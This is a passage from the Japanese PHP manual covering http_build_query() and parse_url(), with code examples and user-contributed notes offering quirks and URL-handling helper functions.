        'bobby' => array('age'=>12, 'sex'=>'M'),
        'sally' => array('age'=>8, 'sex'=>'F')
    ),
    'CEO'
);

echo http_build_query($data, 'flags_');
?>

この例は以下を出力します: (可読性のため適宜折り返しています)

user%5Bname%5D=Bob+Smith&user%5Bage%5D=47&user%5Bsex%5D=M&
user%5Bdob%5D=5%2F12%2F1956&pastimes%5B0%5D=golf&pastimes%5B1%5D=opera&
pastimes%5B2%5D=poker&pastimes%5B3%5D=rap&children%5Bbobby%5D%5Bage%5D=12&
children%5Bbobby%5D%5Bsex%5D=M&children%5Bsally%5D%5Bage%5D=8&
children%5Bsally%5D%5Bsex%5D=F&flags_0=CEO

注意:

基底の配列内の数値インデックス要素 "CEO" のみ、 接頭辞を受け取ります。pastimes 以下にある他の数値インデックスは、 正当な変数名にするための文字列の接頭辞を要求しません。

例4 オブジェクトの場合の http_build_query() の使用

<?php
class parentClass {
    public    $pub      = 'publicParent';
    protected $prot     = 'protectedParent';
    private   $priv     = 'privateParent';
    public    $pub_bar  = Null;
    protected $prot_bar = Null;
    private   $priv_bar = Null;

    public function __construct(){
        $this->pub_bar  = new childClass();
        $this->prot_bar = new childClass();
        $this->priv_bar = new childClass();
    }
}

class childClass {
    public    $pub  = 'publicChild';
    protected $prot = 'protectedChild';
    private   $priv = 'privateChild';
}

$parent = new parentClass();

echo http_build_query($parent);
?>

上の例の出力は以下となります。

pub=publicParent&pub_bar%5Bpub%5D=publicChild

参考

  • parse_str() - 文字列を処理し、変数に代入する
  • parse_url() - URL を解釈し、その構成要素を返す
  • urlencode() - 文字列を URL エンコードする
  • array_walk() - 配列の全ての要素にユーザー定義の関数を適用する

User Contributed Notes

drewdeveloperthomas at gmail dot com 03-Jun-2020 04:52
It's not mentioned in the documentation, but when calling http_build_query on an object, public null fields are ignored.

<?php

class A {
    public int $publicNotNull;
    public ?int $publicNull;
    private string $privateNotNull;

    public function __construct()
    {
        $this->publicNotNull = 2;
        $this->privateNotNull = "Test";
    }
}

$a = new A();
echo http_build_query($a); // publicNotNull=2
?>
Sergei S. 06-Jun-2019 08:23
Number to string conversion occured in <?php http_build_query() ?> is affected by locale settings, which might not be obvious.

<?php
$params = ["v" => 5.63];

setlocale(LC_ALL, 'us_En');
http_build_query($params) // v=5.63

setlocale(LC_ALL, 'ru_RU');
http_build_query($params) // v=5,63 mind the comma
?>
rishad at kaluma dot com 20-Nov-2018 03:42
When using http_build_query($args) where $args is an array; note that there is a limit to the size of array. See max_input_vars in your php.ini to increase this size.
shaun at slickdesign dot com dot au 08-Feb-2018 01:26
While http_build_query can also be used to encode most classes, into a query string, SimpleXML Elements with <![CDATA[]]> values are picked up as empty arrays, and therefore aren't included naturally.

<?php
$xml = simplexml_load_string( '<wrapper><key><![CDATA[value]]></key><key2>value2</key2></wrapper>' );
var_dump( $xml, http_build_query( $xml ) );
/* Outputs:
object(SimpleXMLElement)#1 (2) {
  ["key"]=>
  object(SimpleXMLElement)#2 (0) {
  }
  ["key2"]=>
  string(6) "value2"
}
string(11) "key2=value2"
*/
?>
flavio at agenciaeme dot com dot br 05-Jan-2018 04:39
if you send boolean values it transform in integer :

$a = [teste1= true,teste2=false];
echo http_build_query($a)

//result will be teste1=1&teste2=0
chat dot noir at arcor dot de 23-Aug-2017 02:51
If you need the inverse functionality, and (like me) you cannot use pecl_http, you may want to use something akin to the following.

<?php function http_parse_query($Query) {

// mimic the behavior of $_GET, see also RFC 1738 and 3986.
$Delimiter = ini_get('arg_separator.input');
$Params    = array();

foreach (explode($Delimiter, $Query) as $NameValue) {
    preg_match(
        '/^(?P<name>[^=\[]*)(?P<indices_present>\[(?P<indices>[^\]]*(\]\[[^\]]*)*)\]?)?(?P<value_present>=(?P<value>.*))?$/',
        $NameValue,
        $NameValueParts
    );

    if (!empty($NameValueParts)) {
        $Param =& $Params[$NameValueParts['name']];

        if (!empty($NameValueParts['indices_present'])) {
            $Indices = explode('][', $NameValueParts['indices']);

            foreach ($Indices as $Index) {
                if (!is_array($Param)) {
                    $Param = array();
                }

                if ($Index === '') {
                    $Param[] = array();
                    end($Param);
                    $Param =& $Param[key($Param)];
                } else {
                    if (ctype_digit($Index)) { $Index  = (int) $Index;  }

                    if (!array_key_exists($Index, $Param)) {
                        $Param[$Index] = array();
                    }
                    $Param =& $Param[$Index];
                }
            }
        }

        if (!empty($NameValueParts['value_present'])) {
            $Param = urldecode($NameValueParts['value']);
        } else {
            $Param = '';
        }
    }
}

return $Params;

}?>
rmaslo at archa dot cz 20-Feb-2017 12:27
Warning: Different arrays may return the same result

<CODE>
$a1 = array('x[y]' => array('a'=>1));
$a2 = array('x' => array('y' => array('a'=>1)));
$q1 = http_build_query($a1);
$q2 = http_build_query($a2);
var_dump($a1);
echo '<BR>';
var_dump($a2);
echo '<BR>';
echo $q1;
echo '<BR>';
echo $q2;
echo '<BR>';
</CODE>

Result:
array(1) { ["x[y]"]=> array(1) { ["a"]=> int(1) } }
array(1) { ["x"]=> array(1) { ["y"]=> array(1) { ["a"]=> int(1) } } }
x%5By%5D%5Ba%5D=1
x%5By%5D%5Ba%5D=1
joelhy 01-Feb-2016 03:22
Params with false value will be changed to zero in result string.

<?php
$arr = ['foo' => false];
echo http_build_query($arr);
?>

will produce:

foo=0
itsadok at gmail dot com 17-Nov-2015 06:47
Passing null to $arg_separator is the same as passing an empty string, which is probably not what you want.

If you need to change the enc_type, use this:

    http_build_query($query, null, '&', PHP_QUERY_RFC3986);

Or possibly this:

    http_build_query($query, null, ini_get('arg_separator.output'), PHP_QUERY_RFC3986);

But not this:

    // BAD CODE!
    http_build_query($query, null, null, PHP_QUERY_RFC3986);
james at dimensionengineering dot com 15-Jul-2015 11:04
Be careful about Example 1 -- it is exactly how *not* to implement things.

& as a separator is the URL encoding.
&amp; is HTML encoding.

You should HTML encode your URL if embedding it in a web page. This is more involved than just replacing & with &amp;. Doing as this example suggests is a security hole waiting to happen.
joey dot qiang at innomative dot com 12-Jun-2015 04:35
Not recommending to eliminate the numeric indices like:
'arg[0]' --> 'arg[]'

The reason is this function will not include null values in the result string:

        $data = array(
            'arg' => array(
                null,
                2,
                3
            )
        );
        echo http_build_query($data);

The output is something like "arg[1]=2&arg[2]=3";
Mark Simon 01-Mar-2015 10:41
As noted, this function omits keys with null values. This could break some code which treats the key as boolean, and so has no value, or other code expecting the array to be populated regardless of value.

A workaround for this is to replace the null values with an empty string:

    $data=array(
        'a'=>'apple',
        'b'=>2,
        'c'=>null,
        'd'=>'...',
    );

    //    Compensate for fact that http_build_query omits null values
        foreach($data as &$datum) if($datum===null) $datum='';

Losing the null-ness of the original is no real loss if it's supposed to be a real query string. If the null is important, you could use a dummy value instead.

Mark
jakub dot lopuszanski at nasza-klasa dot pl 10-Dec-2013 10:41
While this is not documented, this http_build_query can return FALSE on some inputs:
<?php
  //gives bool(false)
  var_dump(http_build_query('whatever'));
?>
Kirils Solovjovs 16-Jul-2013 08:51
instead of some other suggestions that did not work for me, I found that the best way to build POST content (e.g. for stream_context_create) is urldecode(http_build_query($query))
Vitaly Dyatlov 23-Apr-2013 11:27
Correct implementation of coding the array of params without indexes (valdikks fixed code - didnt work for inner arrays):

<code>
function cr_post($a,$b='',$c=0)
        {
            if (!is_array($a)) return false;
            foreach ((array)$a as $k=>$v)
            {
                if ($c)
                {
                    if( is_numeric($k) )
                        $k=$b."[]";
                    else
                        $k=$b."[$k]";
                }
                else
                {   if (is_int($k))
                        $k=$b.$k;
                }

                if (is_array($v)||is_object($v))
                {
                    $r[]=cr_post($v,$k,1);
                        continue;
                }
                $r[]=urlencode($k)."=".urlencode($v);
            }
            return implode("&",$r);
        }
</code>
eric dot muyser at gmail dot com 01-Apr-2013 10:45
This function makes like this

files[0]=1&files[1]=2&...

To do it like this:

files[]=1&files[]=2&...

Do this:

        $query = http_build_query($query);
        $query = preg_replace('/%5B[0-9]+%5D/simU', '%5B%5D', $query);
stocki dot r at gmail dot com 01-Mar-2013 03:38
If you need only key+value pairs, you can use this:

<?php
    $array = array(
        "type" => "welcome",
        "message" => "Hello World!"
    );
    echo urldecode(http_build_query($array, '', ';'));
?>

Result: type=welcome;message=Hello World!
anonymous 19-Jul-2012 03:57
Is it worth noting that if query_data is an associative array and a value is itself an empty array, or an array of nothing but empty array (or arrays containing only empty arrays etc.), the corresponding key will not appear in the resulting query string?
E.g.

$post_data = array('name'=>'miller', 'address'=>array('address_lines'=>array()), 'age'=>23);
echo http_build_query($post_data);

will print
name=miller&age=23
Anonymous 08-Feb-2011 12:11
As noted before, with php5.3 the separator is &amp; on some servers it seems. Normally if posting to another php5.3 machine this will not be a problem.

But if you post to a tomcat java server or something else the &amp; might not be handled properly.

To overcome this specify:

http_build_query($array, '', '&');

and NOT

http_build_query($array); //gives &amp; to some servers
v0idnull[try_to_spam_me_now] at gee-mail dot co 11-Mar-2010 11:51
on my install of PHP 5.3, http_build_query() seems to use &amp; as the default separator. Kind of interesting when combined with stream_context_create() for a POST request, and getting $_POST['amp;fieldName'] on the receiving end.
irish [-@-] ytdj [-dot-] ca 21-Jan-2010 01:31
When using the http_build_query function to create a URL query from an array for use in something like curl_setopt($ch, CURLOPT_POSTFIELDS, $post_url), be careful about the url encoding.

In my case, I simply wanted to pass on the received $_POST data to a CURL's POST data, which requires it to be in the URL format.  If something like a space [ ] goes into the http_build_query, it comes out as a +. If you're then sending this off for POST again, you won't get the expected result.  This is good for GET but not POST.

Instead you can make your own simple function if you simply want to pass along the data:

<?php
$post_url = '';
foreach ($_POST AS $key=>$value)
    $post_url .= $key.'='.$value.'&';
$post_url = rtrim($post_url, '&');
?>

You can then use this to pass along POST data in CURL.

<?php
    $ch = curl_init($some_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_url);
    curl_exec($ch);
?>

Note that at the final page that processes the POST data, you should be properly filtering/escaping it.
netrox at aol dot com 26-Aug-2009 07:24
I noticed that even with the magic quotes disabled, http_build_query() automagically adds slashes to strings.

So, I had to add "stripslashes" to every string variable.
valdikss at gmail dot com 27-Aug-2007 01:15
This function is wrong for http!
arrays in http is like this:

files[]=1&files[]=2&...

but function makes like this

files[0]=1&files[1]=2&...

Here is normal function:

<?php
function cr_post($a,$b=\'\',$c=0){
if (!is_array($a)) return false;
foreach ((array)$a as $k=>$v){
if ($c) $k=$b.\"[]\"; elseif (is_int($k)) $k=$b.$k;
if (is_array($v)||is_object($v)) {$r[]=cr_post($v,$k,1);continue;}
$r[]=urlencode($k).\"=\".urlencode($v);}return implode(\"&\",$r);}
?>
Ilya Rudenko 09-Jan-2006 11:57
Params with null value do not present in result string.

<?php
$arr = array('test' => null, 'test2' => 1);
echo http_build_query($arr);
?>

will produce:

test2=1


URL を解釈し、その構成要素を返す

  • ≪ http_build_query
  • rawurldecode ≫
  • PHP Manual
  • URL 関数
  • URL を解釈し、その構成要素を返す

parse_url

(PHP 4, PHP 5, PHP 7, PHP 8)

parse_url — URL を解釈し、その構成要素を返す

説明

parse_url ( string $url , int $component = -1 ) : mixed

この関数は、URL の様々な構成要素のうち特定できるものに関して 連想配列にして返します。 連想配列に含まれる要素の値は、URLデコード されません。

この関数は、指定された URL が有効かどうかを調べるためのもの ではなく、単に URL を上で示した 要素に分解するだけのものです。不完全な URL であっても受け入れられますし、 そのような場合でも parse_url() は可能な限り 正しく解析しようとします。

パラメータ

url

パースする URL。無効な文字は _ に置換されます。

component

PHP_URL_SCHEME、 PHP_URL_HOST、PHP_URL_PORT、 PHP_URL_USER、PHP_URL_PASS、 PHP_URL_PATH、PHP_URL_QUERY あるいは PHP_URL_FRAGMENT のうちのいずれかを指定し、 特定の URL コンポーネントのみを文字列 (PHP_URL_PORT を指定した場合だけは整数値) で取得するようにします。

返り値

完全におかしな形式の URL については、parse_url() は false を返します。

component を省略した場合は、連想配列を返します。 連想配列の中には少なくともひとつの要素が含まれます。 この配列に含まれる可能性のある要素は次のとおりです。

  • scheme - 例: http
  • host
  • port
  • user
  • pass
  • path
  • query - クエスチョンマーク ? 以降
  • fragment - ハッシュマーク # 以降

component が指定されている場合、 parse_url() は配列ではなく文字列 (PHP_URL_PORT の場合は整数値) を返します。 要求したコンポーネントが指定した URL の中にない場合は null を返します。

例

例1 parse_url() の例

<?php
$url = 'http://username:password@hostname:9090/path?arg=value#anchor';

var_dump(parse_url($url));
var_dump(parse_url($url, PHP_URL_SCHEME));
var_dump(parse_url($url, PHP_URL_USER));
var_dump(parse_url($url, PHP_URL_PASS));
var_dump(parse_url($url, PHP_URL_HOST));
var_dump(parse_url($url, PHP_URL_PORT));
var_dump(parse_url($url, PHP_URL_PATH));
var_dump(parse_url($url, PHP_URL_QUERY));
var_dump(parse_url($url, PHP_URL_FRAGMENT));
?>

上の例の出力は以下となります。

array(8) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(8) "hostname"
  ["port"]=>
  int(9090)
  ["user"]=>
  string(8) "username"
  ["pass"]=>
  string(8) "password"
  ["path"]=>
  string(5) "/path"
  ["query"]=>
  string(9) "arg=value"
  ["fragment"]=>
  string(6) "anchor"
}
string(4) "http"
string(8) "username"
string(8) "password"
string(8) "hostname"
int(9090)
string(5) "/path"
string(9) "arg=value"
string(6) "anchor"

例2 parse_url() でスキームを省略した例

<?php
$url = '//www.example.com/path?googleguy=googley';

// 5.4.7 より前のバージョンでは、パスを "//www.example.com/path" のように表示していました
var_dump(parse_url($url));
?>

上の例の出力は以下となります。

array(3) {
  ["host"]=>
  string(15) "www.example.com"
  ["path"]=>
  string(5) "/path"
  ["query"]=>
  string(17) "googleguy=googley"
}

注意

注意:

この関数は相対 URL に対しては正しい結果を返さないかもしれません。

注意:

parse_url() は URL をパースするための関数であり、 URI をパースするものではありません。しかし、PHP の後方互換性を満たすため、 例外として file:// スキームについては 3 重スラッシュ(file:///...) が認められています。他のスキームにおいては、これは無効な形式となります。

参考

  • pathinfo() - ファイルパスに関する情報を返す
  • parse_str() - 文字列を処理し、変数に代入する
  • http_build_query() - URL エンコードされたクエリ文字列を生成する
  • dirname() - 親ディレクトリのパスを返す
  • basename() - パスの最後にある名前の部分を返す
  • » RFC 3986

User Contributed Notes

kibblewhite+php at live dot com 19-Feb-2021 06:11
This function 'parse_rebuild_url' will parse and reassemble your URL with new values provided by the 'overwrite_parsed_url_array' back together.
It is also possible to overwrite the URL components by key name and to merge or overwrite query parameters.
<?php

    $test_url = 'http://usr:pss@example.com:81/mypath/myfile.html?a=b&b[]=2&b[]=3&z=9#myfragment';

    $new_url_01_overwrite_query_params = parse_rebuild_url( $test_url, array(
        'host' => 'new-hostname.tld',
        'query' => array(
            'test' => 'Hello World',
            'a'    => array( 'c', 'd' ),
            'z'    => 8
        ),
        'fragment' => 'new-fragment-value'
    ), false );

    $new_url_02_mergewith_query_params = parse_rebuild_url( $test_url, array(
        'query' => array(
            'test' => 'Hello World',
            'a'    => array( 'c', 'd' ),
            'z'     => 8
        ),
        'fragment' => 'new-fragment-value'
    ), true );

    function parse_rebuild_url( $url, $overwrite_parsed_url_array, $merge_query_parameters = true ) {

        $parsed_url_array = parse_url( $url );
        $parsed_url_keys_array = array(
            'scheme'        => null,
            'abempty'       => isset( $parsed_url_array['scheme'] ) ? '://' : null,
            'user'          => null,
            'authcolon'     => isset( $parsed_url_array['pass'] ) ? ':' : null,
            'pass'          => null,
            'authat'        => isset( $parsed_url_array['user'] ) ? '@' : null,
            'host'          => null,
            'portcolon'     => isset( $parsed_url_array['port'] ) ? ':' : null,
            'port'          => null,
            'path'          => null,
            'param'         => isset( $parsed_url_array['query'] ) ? '?' : null,
            'query'         => null,
            'hash'          => isset( $parsed_url_array['fragment'] ) ? '#' : null,
            'fragment'      => null
        );

        if ( isset( $parsed_url_array['query'] ) && $merge_query_parameters === true ) {
            parse_str( $parsed_url_array['query'], $query_array );
            $overwrite_parsed_url_array['query'] = array_merge_recursive( $query_array, $overwrite_parsed_url_array['query'] );
        }

        $query_parameters = http_build_query( $overwrite_parsed_url_array['query'], null, '&', PHP_QUERY_RFC1738 );
        $overwrite_parsed_url_array['query'] = urldecode( preg_replace( '/%5B[0-9]+%5D/simU', '%5B%5D', $query_parameters ) );

        $fully_parsed_url_array = array_filter( array_merge( $parsed_url_keys_array, $parsed_url_array, $overwrite_parsed_url_array ) );
        return implode( null, $fully_parsed_url_array );

    }
vbrazas15 at gmail dot com 18-Feb-2021 01:10
My hamble improvements to the famouse `unparse_url` function by "thomas at gielfeldt dot com":

```php
    /**
     * @param array $parsedUrl -- result of the library `parse_url()` function
     *
     * @return string
     */
    function unparseUrl(array $parsedUrl): string
    {
        // PHP_URL_SCHEME
        $scheme = empty($parsedUrl[PHP_URL_SCHEME]) ? '' : (rtrim($parsedUrl['scheme'], ':/') . '://');

        $user = empty($parsedUrl[PHP_URL_USER]) ? '' : rtrim($parsedUrl['user'], '@:');
        $pass = empty($parsedUrl[PHP_URL_PASS]) ? '' : (':' . trim($parsedUrl['pass'], '@:'));

        $pass = !$user ? '' : ($pass . '@');

        $host = empty($parsedUrl[PHP_URL_HOST]) ? '' : rtrim($parsedUrl['host'], '/');
        $port = empty($parsedUrl[PHP_URL_PORT]) ? '' : (':' . (int)ltrim($parsedUrl['port'], ':'));
        $path = empty($parsedUrl[PHP_URL_PATH]) ? '' : ('/' . ltrim($parsedUrl['path'], '/'));

        $host = ($host && !$port && !$path) ? $parsedUrl['host'] : $host;
        $path = ($path && !$host && !$port) ? $parsedUrl['path'] : $path;

        $query = empty($parsedUrl[PHP_URL_QUERY]) ? '' : ('?' . ltrim($parsedUrl['query'], '?'));
        $fragment = empty($parsedUrl[PHP_URL_FRAGMENT]) ? '' : ('#' . ltrim($parsedUrl['fragment'], '#'));

        return "$scheme$user$pass$host$port$path$query$fragment";
    }
```
simbappo 15-Sep-2020 05:17
unset a query var from passed in or current URL:

function unsetqueryvar($var, $url=null) {
    if (null == $url) $url = $_SERVER['REQUEST_URI'];
    //mogrify to list
    $url = parse_url($url);
    $rq = [];
    parse_str($url['query'], $rq);
    unset($rq[$var]);
    return $url['scheme'].$url['host'].$url['path'].'?'.http_build_query($rq).$url['fragment'];
}
boctulus @ gmail co!m 27-Oct-2019 01:39
parse_url() does not parse some obvious errors so I made a complementary function

function url_check(string $url){
        $sym = null;

        $len = strlen($url);
        for ($i=0; $i<$len; $i++){
            if ($url[$i] == '?'){
                if ($sym == '?' || $sym == '&')
                    return false;

                $sym = '?';
            }elseif ($url[$i] == '&'){
                if ($sym === null)
                    return false;

                $sym = '&';
            }
        }
        return true;
    }
}
Michael 30-Jun-2019 06:52
There's a quirk where this function will return the host as the "path" if there is a leading space.

<?php

$url = ' https://foobar.com:80/mypath/myfile.php';

print_r(parse_url($url));
/*
Array
(
    [path] =>  https://foobar.com:80/mypath/myfile.php
)
*/

print_r(trim(parse_url($url)));
/*
Array
(
    [scheme] => https
    [host] => foobar.com
    [port] => 80
    [path] => /mypath/myfile.php
)
*/

?>
bramg dot net1 at gmail dot com 21-Sep-2018 10:07
this is my 404 error page is this ok  or it need improvements

<?php
/**
 * 404.php
 *
 * The template for displaying 404 pages (not found)
 *
 * @author    BetterStudio
 * @package   Publisher
 * @version   2.0.2
 */

get_header();

// Shows breadcrumb
if ( publisher_show_breadcrumb() ) {
    Better_Framework()->breadcrumb()->generate( array(
        'before'       => '<div class="container bf-breadcrumb-container">',
        'after'        => '</div>',
        'custom_class' => 'bc-top-style'
    ) );
}

?>
    <div class="content-wrap">
        <main <?php publisher_attr( 'content', '' ); ?>>

            <div class="container layout-1-col layout-no-sidebar">
                <div class="row main-section">

                    <div class="content-column content-404">

                        <div class="row first-row">

                            <div class="col-lg-12 text-404-section">
                                <p class="text-404 heading-typo">404</p>
                            </div>

                            <div class="col-lg-12 desc-section">
                                <h1 class="title-404"><?php publisher_translation_echo( '404_not_found' ); ?></h1>
                                <p><?php publisher_translation_echo( '404_not_found_message' ); ?></p>
                                <div class="action-links clearfix">

                                    <script type="text/javascript">
                                        if (document.referrer) {
                                            document.write('<div class="search-action-container"><a href="' + document.referrer + '"><i class="fa fa-angle-double-right"></i> <?php publisher_translation_echo( '404_go_previous_page' ); ?></a></div>');
                                        }
                                    </script>

                                    <div class="search-action-container">
                                        <a href="<?php echo esc_url( home_url( '/' ) ); ?>"><i
                                                    class="fa fa-angle-double-right"></i> <?php publisher_translation_echo( '404_go_homepage' ); ?>
                                        </a>
                                    </div>
                                </div>
                            </div>

                        </div><!-- .first-row -->

                        <div class="row second-row">
                            <div class="col-lg-12">
                                <div class="top-line">
                                    <?php get_search_form(); ?>
                                </div>
                            </div>
                        </div><!-- .second-row -->

                    </div><!-- .content-column -->

                </div><!-- .main-section -->
            </div> <!-- .layout-1-col -->

        </main><!-- main -->
    </div><!-- .content-wrap -->

<?php get_footer(); ?>

https://bramg.net
Anonymous 26-Feb-2018 12:33
Hello, for some odd reason, parse_url returns the host (ex. example.com) as the path when no scheme is provided in the input url. So I've written a quick function to get the real host:

<?php
function getHost($Address) {
   $parseUrl = parse_url(trim($Address));
   return trim($parseUrl[host] ? $parseUrl[host] : array_shift(explode('/', $parseUrl[path], 2)));
}

getHost("example.com"); // Gives example.com
getHost("http://example.com"); // Gives example.com
getHost("www.example.com"); // Gives www.example.com
getHost("http://example.com/xyz"); // Gives example.com
?>

You could try anything! It gives the host (including the subdomain if exists).

Hope it helped you.
https://vb.3dlat.com/
Anonymous 30-Dec-2017 07:47
This function will attempt to parse relative URLs but relaying on it can produce unexpected behavior that can cause some hard to track bugs. (The following results are obtained from PHP 5.5.19)

Attempting to parse a url like this
http://example.com/entities/GOA:98/?search=8989157d1f22
Correctly produces
<?php
array (
  'scheme' => 'http',
  'host' => 'example.com',
  'path' => '/entities/GOA:98/',
  'query' => 'search=8989157d1f22',
);
?>

However, Attempting to parse the relative URL
entities/GOA:98/?search=8989157d1f22
<?php
array (
  'host' => 'entities',
  'port' => 98,
  'path' => '/GOA:98/',
  'query' => 'search=8989157d1f22',
)
?>
If I change :98 to :A98 parse_url parses the URL correctly as
<?php
array (
  'path' => 'entities/GOA:A98/',
  'query' => 'search=8989157d1f22',
)
?>
Bottom line, Avoid using parse_url for relative urls unless you have tested the expected input and you know parse_url will handle them well.

https://forums.hawacastle.com/
Anonymous 03-Oct-2017 07:29
To get the params (url query) as Associative array, use this function:

<?php
/**
* Returns the url query as associative array
*
* @param    string    query
* @return    array    params
*/
function convertUrlQuery($query) {
    $queryParts = explode('&', $query);

    $params = array();
    foreach ($queryParts as $param) {
        $item = explode('=', $param);
        $params[$item[0]] = $item[1];
    }

    return $params;
}
?>
demerit 09-Aug-2017 12:06
There is a change in PHP 7 (I noticed it in 7.1 upgrading from 5.3) where if the password portion has an octothorpe (#) in it, parsing fails in 7.1, whereas it succeeds in 5.3.
zappascripts at gmail com 17-Jul-2017 01:30
Here's a simple class I made that makes use of this parse_url.
I needed a way for a page to retain get parameters but also edit or add onto them.
I also had some pages that needed the same GET paramaters so I also added a way to change the path.

<?php
class Paths{

    private $url;
    public function __construct($url){
        $this->url = parse_url($url);
    }

    public function returnUrl(){
        $return = $this->url['path'].'?'.$this->url['query'];
        $return = (substr($return,-1) == "&")? substr($return,0,-1) : $return;
        $this->resetQuery();
        return $return;
    }

    public function changePath($path){
        $this->url['path'] = $path;
    }

    public function editQuery($get,$value){
        $parts = explode("&",$this->url['query']);
        $return = "";
        foreach($parts as $p){
            $paramData = explode("=",$p);
            if($paramData[0] == $get){
                $paramData[1] = $value;
            }
            $return .= implode("=",$paramData).'&';

        }

        $this->url['query'] = $return;
    }

    public function addQuery($get,$value){
        $part = $get."=".$value;
        $and = ($this->url['query'] == "?") ? "" : "&";
        $this->url['query'] .= $and.$part;
    }

    public function checkQuery($get){
        $parts = explode("&",$this->url['query']);

            foreach($parts as $p){
                $paramData = explode("=",$p);
                if($paramData[0] == $get)
                    return true;
            }
            return false;

    }

    public function buildQuery($get,$value){
        if($this->checkQuery($get))
            $this->editQuery($get,$value);
        else
            $this->addQuery($get,$value);

    }

    public function resetQuery(){
        $this->url = parse_url($_SERVER['REQUEST_URI']);
    }

}
?>

Useage:

Test.php?foo=1:

<?php
$path = new Paths($_SERVER['REQUEST_URI']);
$path->changePath("/baz.php");
$path->buildQuery("foo",2);
$path->buildQuery("bar",3);
echo $path->returnUrl();
?>

returns: /baz.php?foo=2&bar=3

Hope this is of some use to someone!
mys5droid at gmail dot com 20-Mar-2016 12:30
I have coded a function which converts relative URL to absolute URL for a project of mine. Considering I could not find it elsewhere, I figured I would post it here.

The following function takes in 2 parameters, the first parameter is the URL you want to convert from relative to absolute, and the second parameter is a sample of the absolute URL.

Currently it does not resolve '../' in the URL, only because I do not need it. Most webservers will resolve this for you. If you want it to resolve the '../' in the path, it just takes minor modifications.

<?php

function relativeToAbsolute($inurl, $absolute) {
    // Get all parts so not getting them multiple times :)
    $absolute_parts = parse_url($absolute);
    // Test if URL is already absolute (contains host, or begins with '/')
    if ( (strpos($inurl, $absolute_parts['host']) == false) ) {
        // Define $tmpurlprefix to prevent errors below
        $tmpurlprefix = "";
        // Formulate URL prefix    (SCHEME)
        if (!(empty($absolute_parts['scheme']))) {
            // Add scheme to tmpurlprefix
            $tmpurlprefix .= $absolute_parts['scheme'] . "://";
        }
        // Formulate URL prefix (USER, PASS)
        if ((!(empty($absolute_parts['user']))) and (!(empty($absolute_parts['pass'])))) {
            // Add user:port to tmpurlprefix
            $tmpurlprefix .= $absolute_parts['user'] . ":" . $absolute_parts['pass'] . "@";
        }
        // Formulate URL prefix    (HOST, PORT)
        if (!(empty($absolute_parts['host']))) {
            // Add host to tmpurlprefix
            $tmpurlprefix .= $absolute_parts['host'];
            // Check for a port, add if exists
            if (!(empty($absolute_parts['port']))) {
                // Add port to tmpurlprefix
                $tmpurlprefix .= ":" . $absolute_parts['port'];
            }
        }
        // Formulate URL prefix    (PATH) and only add it if the path to image does not include ./
        if ( (!(empty($absolute_parts['path']))) and (substr($inurl, 0, 1) != '/') ) {
            // Get path parts
            $path_parts = pathinfo($absolute_parts['path']);
            // Add path to tmpurlprefix
            $tmpurlprefix .= $path_parts['dirname'];
            $tmpurlprefix .= "/";
        }
        else {
            $tmpurlprefix .= "/";
        }
        // Lets remove the '/'
        if (substr($inurl, 0, 1) == '/') { $inurl = substr($inurl, 1); }
        // Lets remove the './'
        if (substr($inurl, 0, 2) == './') { $inurl = substr($inurl, 2); }
        return $tmpurlprefix . $inurl;
    }
    else {
        // Path is already absolute. Return it :)
        return $inurl;
    }
}

// Define a sample absolute  URL
$absolute = "http://" . "user:pass@example.com:8080/path/to/index.html"; // Just evading php.net spam filter, not sure how example.com is spam...

/* EXAMPLE 1 */
echo relativeToAbsolute($absolute, $absolute) . "\n";
/* EXAMPLE 2 */
echo relativeToAbsolute("img.gif", $absolute) . "\n";
/* EXAMPLE 3 */
echo relativeToAbsolute("/img.gif", $absolute) . "\n";
/* EXAMPLE 4 */
echo relativeToAbsolute("./img.gif", $absolute) . "\n";
/* EXAMPLE 5 */
echo relativeToAbsolute("../img.gif", $absolute) . "\n";
/* EXAMPLE 6 */
echo relativeToAbsolute("images/img.gif", $absolute) . "\n";
/* EXAMPLE 7 */
echo relativeToAbsolute("/images/img.gif", $absolute) . "\n";
/* EXAMPLE 8 */
echo relativeToAbsolute("./images/img.gif", $absolute) . "\n";
/* EXAMPLE 9 */
echo relativeToAbsolute("../images/img.gif", $absolute) . "\n";

?>

OUTPUTS:
http :// user:pass@example.com:8080/path/to/index.html
http :// user:pass@example.com:8080/path/to/img.gif
http :// user:pass@example.com:8080/img.gif
http :// user:pass@example.com:8080/path/to/img.gif
http :// user:pass@example.com:8080/path/to/../img.gif
http :// user:pass@example.com:8080/path/to/images/img.gif
http :// user:pass@example.com:8080/images/img.gif
http :// user:pass@example.com:8080/path/to/images/img.gif
http :// user:pass@example.com:8080/path/to/../images/img.gif

Sorry if the above code is not your style, or if you see it as "messy" or you think there is a better way to do it. I removed as much of the white space as possible.

Improvements are welcome :)
Rob 21-Apr-2015 12:27
I've been working on a generic class that would make URI parsing / building a little easier.

The composer package is here: https://packagist.org/packages/enrise/urihelper

And the repository is here: https://github.com/Enrise/UriHelper

An example of the usage:

<?php
$uri = new \Enrise\Uri('http://usr:pss@example.com:81/mypath/myfile.html?a=b&b[]=2&b[]=3#myfragment');
echo $uri->getScheme(); // http
echo $uri->getUser(); // usr
echo $uri->getPass(); // pss
echo $uri->getHost(); // example.com
echo $uri->getPort(); // 81
echo $uri->getPath(); // /mypath/myfile.html
echo $uri->getQuery(); // a=b&b[]=2&b[]=3
echo $uri->getFragment(); // myfragment
echo $uri->isSchemeless(); // false
echo $uri->isRelative(); // false

$uri->setScheme('scheme:child:scheme.VALIDscheme123:');
$uri->setPort(null);

echo $uri->getUri(); //scheme:child:scheme.VALIDscheme123:usr:pss@example.com/mypath/myfile.html?a=b&b[]=2&b[]=3#myfragment
?>
jerome at chaman dot ca 16-Jan-2015 10:53
It may be worth reminding that the value of the #fragment never gets sent to the server.  Anchors processing is exclusively client-side.
admin at griefer1999 dot uhostfull dot com 06-Jan-2015 06:46
<?php
function url_parse($url){
$sflfdfldf=$url;
if(strpos($url,"?")>-1){
$a=explode("?",$url,2);
$url=$a[0];
$query=$a[1];
}
if(strpos($url,"://")>-1){
$scheme=substr($url,0,strpos($url,"//")-1);
$url=substr($url,strpos($url,"//")+2,strlen($url));
}
if(strpos($url,"/")>-1){
$a=explode("/",$url,2);
$url=$a[0];
$path="/".$a[1];
}
if(strpos($url,":")>-1){
$a=explode(":",$url,2);
$url=$a[0];
$port=$a[1];
}
$host=$url;
$url=null;
foreach(array("url","scheme","host","port","path","query") as $var){
if(!empty($$var)){
$return[$var]=$$var;
}
}
